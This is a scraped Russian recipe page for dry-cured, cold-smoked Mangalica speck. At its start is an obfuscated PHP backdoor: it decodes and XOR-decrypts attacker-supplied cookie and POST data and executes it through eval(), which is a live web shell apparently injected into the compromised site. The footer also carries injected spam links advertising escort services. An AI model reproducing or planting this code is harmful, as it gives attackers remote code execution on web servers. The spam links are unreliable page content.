$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Сырокопченый Шпек из Мангалицы. • Meat Review

Сырокопченый Шпек из Мангалицы.

Перейти в режим чтения
Распечатать
0 0
Сырокопченый Шпек из Мангалицы.

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

    Инструкция

    Поделиться

    Не так уж много есть продуктов шаркутери, способных превзойти шпек из мангалицы, вяленый хотя бы шесть месяцев. Продукт на вид похожий больше на огромный бекон, а не на типичный шпек с плеча. Такова уж мангалица…

    Описать вкус — не могу. Нужно пробовать. Зачем пытаться описать совершенство?

    Процесс – прост. Все заняло восемь месяцев и три недели.

    Освободил лопатку от кости, подровнял, засыпал 3% морской соли,  0.25% кюра№2, 0.5% черного перца, 0.3% фенхеля, тмина и 0.2% сычуанского перца. Бросил пару лавровых листов, натер экстрактом розмарина для предохранения окисления жира.

    Затем — вакуум, холодильник на три недели. Затем шпек промылся, протерся и сутки отдыхал на холоде. Перед отправкой на копчение холодным способом, присыпал смесью тмина, сычуанского и черного перца. Коптил с с перерывами 5 дней на пекане с хиккори.  Затем – на вяление в «Климатической Камере» до победного конца.

       

     

    (Visited 2 983 times, 2 visits today)

    Sergey Dezhnyuk

    обратно
    Рыба по Калабрийски. (Южная Италия)
    далее
    Норвежский суп из семги со сливками
    обратно
    Рыба по Калабрийски. (Южная Италия)
    далее
    Норвежский суп из семги со сливками

    Похожие рецепты

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close